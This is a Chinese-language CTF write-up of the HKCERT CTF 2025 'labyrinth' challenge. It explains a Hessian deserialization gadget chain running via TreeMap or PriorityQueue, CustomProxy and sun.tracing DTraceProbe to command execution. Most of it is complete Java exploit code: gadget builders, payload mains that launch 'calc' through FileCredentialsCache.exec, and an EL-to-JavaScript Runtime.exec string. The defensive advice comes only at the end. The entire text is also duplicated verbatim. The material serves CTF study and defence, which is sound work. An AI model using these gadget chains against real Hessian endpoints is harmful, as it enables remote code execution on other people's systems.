HKCERT CTF 2025 labyrinth反序列化学习
字数 1422
更新时间 2025-12-31 12:36:41
HKCERT CTF 2025 labyrinth反序列化漏洞分析与利用
1. 环境依赖与题目背景
1.1 环境配置
- 反序列化入口: Hessian反序列化接口
- 依赖版本: hessian-lite-4.0.5(最新版)
- 关键类: 自定义代理类
CustomProxy - 配置: 开启了
setAllowNonSerializable(true),允许反序列化非Serializable类
1.2 题目特点
题目提供了一个Hessian反序列化入口,并引入了自定义的CustomProxy类,该类规定了方法名必须为compareTo,这为后续利用提供了基础。
2. 漏洞利用链分析
2.1 整体利用链
in.readObject()->
TreeMap.put()->
Comparable.compareTo()->
CustomProxy.compareTo(o)->
InvocationHandler.invoke(this, m3, {o})->
ProviderSkeleton.invoke->
ProviderSkeleton.triggerProbe->
sun.tracing.dtrace.DTraceProbe.uncheckedTrigger->
method.invoke(proxy,args)->
构造方法(有参)
2.2 关键触发点
在Hessian反序列化过程中,关键触发点在于map.put操作:
- HashMap: 触发
key.hashCode()和key.equals(k) - TreeMap: 触发
key.compareTo()
3. TreeMap构造技术
3.1 序列化过程分析
当Hessian对反射构造的TreeMap进行序列化时,采用中序遍历(左-中-右):
- 左节点为空,先读取根节点(代理对象的构造方法参数)
- 读取右节点(代理类)
3.2 反序列化过程
- Hessian创建空TreeMap,读取第一个元素(代理对象的构造方法参数)
- 执行
treeMap.put(params, val) - 读取第二个元素,执行
treeMap.put(Proxy, val) - 由于key是
CustomProxy,触发compareTo()方法,传入参数为代理对象的构造方法参数
3.3 TreeMap构造代码
public static TreeMap<Object,Object> MyTreeMap(Object proxy, Object params) throws Exception {
Class<?> e = Class.forName("java.util.TreeMap$Entry");
Constructor<?> declaredConstructor1 = e.getDeclaredConstructor(Object.class, Object.class, e);
declaredConstructor1.setAccessible(true);
Object a = declaredConstructor1.newInstance(params, 1, null);
Constructor<?> declaredConstructor2 = e.getDeclaredConstructor(Object.class, Object.class, e);
declaredConstructor2.setAccessible(true);
Object o1 = declaredConstructor2.newInstance(proxy, 2, a);
Class<?> t = Class.forName("java.util.TreeMap");
TreeMap treeMap = (TreeMap) t.newInstance();
Field size = t.getDeclaredField("size");
size.setAccessible(true);
size.set(treeMap,2);
Field root = t.getDeclaredField("root");
root.setAccessible(true);
root.set(treeMap,a);
Field right = e.getDeclaredField("right");
right.setAccessible(true);
right.set(a,o1);
return treeMap;
}
4. 动态代理利用技术
4.1 CVE-2021-39149参考链
java.util.LinkedHashSet
java.lang.reflect.Proxy
com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl
sun.tracing.NullProvider
sun.tracing.dtrace.DTraceProbe
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
4.2 ProviderSkeleton分析
sun.tracing.NullProvider继承自ProviderSkeleton抽象类,关键特性:
- 没有实现
invoker方法,调用父类的invoke方法 - 需要设置
active、providerType、probes字段
4.3 DTraceProbe利用
DTraceProbe的uncheckedTrigger方法通过反射调用:
public static Object getDTraceProbe(Object proxy, Method method) throws Exception {
Object dTraceProbe = createWithoutConstructor(Class.forName("sun.tracing.dtrace.DTraceProbe"));
setFieldValue(dTraceProbe,"proxy", proxy);
setFieldValue(dTraceProbe,"implementing_method", method);
return dTraceProbe;
}
5. 最终利用方案
5.1 命令执行利用
public static void main(String[] args) throws Exception {
Method exec = FileCredentialsCache.class.getDeclaredMethod("exec", String.class);
exec.setAccessible(true);
Object dTraceProbe = getDTraceProbe(FileCredentialsCache.class,exec);
HashMap map = new HashMap();
Method compareTo = Comparable.class.getDeclaredMethod("compareTo", Object.class);
map.put(compareTo, dTraceProbe);
InvocationHandler handler = (InvocationHandler) createWithoutConstructor(Class.forName("sun.tracing.MultiplexProvider"));
setFieldValue(handler, "active", true);
setFieldValue(handler, "providerType", Class.forName(Comparable.class.getName()));
setFieldValue(handler, "probes", map);
Object objCompareTo = new CustomProxy(handler, compareTo);
deser(MyTreeMap(objCompareTo,"calc"));
}
5.2 EL表达式利用(内存马)
public static void main(String[] args) throws Exception {
Class<?> elClass = Class.forName("javax.el.ELProcessor");
Object elInstance = elClass.newInstance();
Method evalMethod = elClass.getMethod("eval", String.class);
Object dTraceProbe = getDTraceProbe(elInstance,evalMethod);
HashMap map = new HashMap();
Method method = Comparable.class.getMethod("compareTo", Object.class);
map.put(method, dTraceProbe);
InvocationHandler handler = (InvocationHandler) createWithoutConstructor(Class.forName("sun.tracing.NullProvider"));
setFieldValue(handler,"active", true);
setFieldValue(handler, "providerType",Class.forName(Comparable.class.getName()));
setFieldValue(handler, "probes", map);
String params = """.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("java.lang.Runtime.getRuntime().exec('calc')")";
Object objCompareTo = new CustomProxy(handler, method);
TreeMap treeMap = MyTreeMap(objCompareTo,params);
deser(treeMap);
}
6. 拓展利用技术
6.1 PriorityQueue替代方案
public static void main(String[] args) throws Exception {
Object dTraceProbe = createWithoutConstructor(Class.forName("sun.tracing.dtrace.DTraceProbe"));
Method exec = FileCredentialsCache.class.getDeclaredMethod("exec", String.class);
exec.setAccessible(true);
setFieldValue(dTraceProbe,"proxy", FileCredentialsCache.class);
setFieldValue(dTraceProbe,"implementing_method", exec);
HashMap map = new HashMap();
Method method = Comparable.class.getMethod("compareTo", Object.class);
map.put(method, dTraceProbe);
InvocationHandler handler = (InvocationHandler) createWithoutConstructor(Class.forName("sun.tracing.NullProvider"));
Object objCompareTo = new CustomProxy(handler, method);
setFieldValue(handler,"active", true);
setFieldValue(handler, "providerType",Class.forName(Comparable.class.getName()));
setFieldValue(handler, "probes", map);
PriorityQueue queue = new PriorityQueue(1);
setFieldValue(queue, "size", 2);
setFieldValue(queue, "queue", new Object[]{"calc",objCompareTo});
deser(queue);
}
6.2 直接使用Proxy的挑战
尝试直接使用java.lang.reflect.Proxy替代CustomProxy时遇到问题:
- 在
getNode方法中,first.key与传入的key不匹配(多出signature字段) - 最终返回null,利用失败
7. 工具函数
7.1 反序列化函数
public static void deser(Object o) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output output = new Hessian2Output(baos);
output.getSerializerFactory().setAllowNonSerializable(true);
output.writeObject(o);
output.flush();
output.close();
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
Hessian2Input input = new Hessian2Input(bais);
input.getSerializerFactory().setAllowNonSerializable(true);
input.readObject();
}
7.2 反射工具函数
// 创建无构造函数的对象
public static Object createWithoutConstructor(Class clazz) throws Exception {
Object instance = null;
Constructor constroctor = clazz.getDeclaredConstructor();
constroctor.setAccessible(true);
instance = constroctor.newInstance();
return instance;
}
// 设置字段值
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
8. 防御建议
- 输入验证: 对Hessian反序列化输入进行严格验证
- 黑白名单: 实现类加载的白名单机制
- 依赖升级: 及时更新hessian-lite到安全版本
- 安全配置: 避免开启
setAllowNonSerializable(true) - 代码审计: 定期审计自定义代理类的安全性
本教学文档详细分析了HKCERT CTF 2025 labyrinth题目的反序列化漏洞利用技术,涵盖了从基础原理到高级利用的完整知识体系。
HKCERT CTF 2025 labyrinth反序列化漏洞分析与利用
1. 环境依赖与题目背景
1.1 环境配置
- 反序列化入口: Hessian反序列化接口
- 依赖版本: hessian-lite-4.0.5(最新版)
- 关键类: 自定义代理类
CustomProxy - 配置: 开启了
setAllowNonSerializable(true),允许反序列化非Serializable类
1.2 题目特点
题目提供了一个Hessian反序列化入口,并引入了自定义的CustomProxy类,该类规定了方法名必须为compareTo,这为后续利用提供了基础。
2. 漏洞利用链分析
2.1 整体利用链
in.readObject()->
TreeMap.put()->
Comparable.compareTo()->
CustomProxy.compareTo(o)->
InvocationHandler.invoke(this, m3, {o})->
ProviderSkeleton.invoke->
ProviderSkeleton.triggerProbe->
sun.tracing.dtrace.DTraceProbe.uncheckedTrigger->
method.invoke(proxy,args)->
构造方法(有参)
2.2 关键触发点
在Hessian反序列化过程中,关键触发点在于map.put操作:
- HashMap: 触发
key.hashCode()和key.equals(k) - TreeMap: 触发
key.compareTo()
3. TreeMap构造技术
3.1 序列化过程分析
当Hessian对反射构造的TreeMap进行序列化时,采用中序遍历(左-中-右):
- 左节点为空,先读取根节点(代理对象的构造方法参数)
- 读取右节点(代理类)
3.2 反序列化过程
- Hessian创建空TreeMap,读取第一个元素(代理对象的构造方法参数)
- 执行
treeMap.put(params, val) - 读取第二个元素,执行
treeMap.put(Proxy, val) - 由于key是
CustomProxy,触发compareTo()方法,传入参数为代理对象的构造方法参数
3.3 TreeMap构造代码
public static TreeMap<Object,Object> MyTreeMap(Object proxy, Object params) throws Exception {
Class<?> e = Class.forName("java.util.TreeMap$Entry");
Constructor<?> declaredConstructor1 = e.getDeclaredConstructor(Object.class, Object.class, e);
declaredConstructor1.setAccessible(true);
Object a = declaredConstructor1.newInstance(params, 1, null);
Constructor<?> declaredConstructor2 = e.getDeclaredConstructor(Object.class, Object.class, e);
declaredConstructor2.setAccessible(true);
Object o1 = declaredConstructor2.newInstance(proxy, 2, a);
Class<?> t = Class.forName("java.util.TreeMap");
TreeMap treeMap = (TreeMap) t.newInstance();
Field size = t.getDeclaredField("size");
size.setAccessible(true);
size.set(treeMap,2);
Field root = t.getDeclaredField("root");
root.setAccessible(true);
root.set(treeMap,a);
Field right = e.getDeclaredField("right");
right.setAccessible(true);
right.set(a,o1);
return treeMap;
}
4. 动态代理利用技术
4.1 CVE-2021-39149参考链
java.util.LinkedHashSet
java.lang.reflect.Proxy
com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl
sun.tracing.NullProvider
sun.tracing.dtrace.DTraceProbe
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
4.2 ProviderSkeleton分析
sun.tracing.NullProvider继承自ProviderSkeleton抽象类,关键特性:
- 没有实现
invoker方法,调用父类的invoke方法 - 需要设置
active、providerType、probes字段
4.3 DTraceProbe利用
DTraceProbe的uncheckedTrigger方法通过反射调用:
public static Object getDTraceProbe(Object proxy, Method method) throws Exception {
Object dTraceProbe = createWithoutConstructor(Class.forName("sun.tracing.dtrace.DTraceProbe"));
setFieldValue(dTraceProbe,"proxy", proxy);
setFieldValue(dTraceProbe,"implementing_method", method);
return dTraceProbe;
}
5. 最终利用方案
5.1 命令执行利用
public static void main(String[] args) throws Exception {
Method exec = FileCredentialsCache.class.getDeclaredMethod("exec", String.class);
exec.setAccessible(true);
Object dTraceProbe = getDTraceProbe(FileCredentialsCache.class,exec);
HashMap map = new HashMap();
Method compareTo = Comparable.class.getDeclaredMethod("compareTo", Object.class);
map.put(compareTo, dTraceProbe);
InvocationHandler handler = (InvocationHandler) createWithoutConstructor(Class.forName("sun.tracing.MultiplexProvider"));
setFieldValue(handler, "active", true);
setFieldValue(handler, "providerType", Class.forName(Comparable.class.getName()));
setFieldValue(handler, "probes", map);
Object objCompareTo = new CustomProxy(handler, compareTo);
deser(MyTreeMap(objCompareTo,"calc"));
}
5.2 EL表达式利用(内存马)
public static void main(String[] args) throws Exception {
Class<?> elClass = Class.forName("javax.el.ELProcessor");
Object elInstance = elClass.newInstance();
Method evalMethod = elClass.getMethod("eval", String.class);
Object dTraceProbe = getDTraceProbe(elInstance,evalMethod);
HashMap map = new HashMap();
Method method = Comparable.class.getMethod("compareTo", Object.class);
map.put(method, dTraceProbe);
InvocationHandler handler = (InvocationHandler) createWithoutConstructor(Class.forName("sun.tracing.NullProvider"));
setFieldValue(handler,"active", true);
setFieldValue(handler, "providerType",Class.forName(Comparable.class.getName()));
setFieldValue(handler, "probes", map);
String params = """.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("java.lang.Runtime.getRuntime().exec('calc')")";
Object objCompareTo = new CustomProxy(handler, method);
TreeMap treeMap = MyTreeMap(objCompareTo,params);
deser(treeMap);
}
6. 拓展利用技术
6.1 PriorityQueue替代方案
public static void main(String[] args) throws Exception {
Object dTraceProbe = createWithoutConstructor(Class.forName("sun.tracing.dtrace.DTraceProbe"));
Method exec = FileCredentialsCache.class.getDeclaredMethod("exec", String.class);
exec.setAccessible(true);
setFieldValue(dTraceProbe,"proxy", FileCredentialsCache.class);
setFieldValue(dTraceProbe,"implementing_method", exec);
HashMap map = new HashMap();
Method method = Comparable.class.getMethod("compareTo", Object.class);
map.put(method, dTraceProbe);
InvocationHandler handler = (InvocationHandler) createWithoutConstructor(Class.forName("sun.tracing.NullProvider"));
Object objCompareTo = new CustomProxy(handler, method);
setFieldValue(handler,"active", true);
setFieldValue(handler, "providerType",Class.forName(Comparable.class.getName()));
setFieldValue(handler, "probes", map);
PriorityQueue queue = new PriorityQueue(1);
setFieldValue(queue, "size", 2);
setFieldValue(queue, "queue", new Object[]{"calc",objCompareTo});
deser(queue);
}
6.2 直接使用Proxy的挑战
尝试直接使用java.lang.reflect.Proxy替代CustomProxy时遇到问题:
- 在
getNode方法中,first.key与传入的key不匹配(多出signature字段) - 最终返回null,利用失败
7. 工具函数
7.1 反序列化函数
public static void deser(Object o) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output output = new Hessian2Output(baos);
output.getSerializerFactory().setAllowNonSerializable(true);
output.writeObject(o);
output.flush();
output.close();
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
Hessian2Input input = new Hessian2Input(bais);
input.getSerializerFactory().setAllowNonSerializable(true);
input.readObject();
}
7.2 反射工具函数
// 创建无构造函数的对象
public static Object createWithoutConstructor(Class clazz) throws Exception {
Object instance = null;
Constructor constroctor = clazz.getDeclaredConstructor();
constroctor.setAccessible(true);
instance = constroctor.newInstance();
return instance;
}
// 设置字段值
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
8. 防御建议
- 输入验证: 对Hessian反序列化输入进行严格验证
- 黑白名单: 实现类加载的白名单机制
- 依赖升级: 及时更新hessian-lite到安全版本
- 安全配置: 避免开启
setAllowNonSerializable(true) - 代码审计: 定期审计自定义代理类的安全性
本教学文档详细分析了HKCERT CTF 2025 labyrinth题目的反序列化漏洞利用技术,涵盖了从基础原理到高级利用的完整知识体系。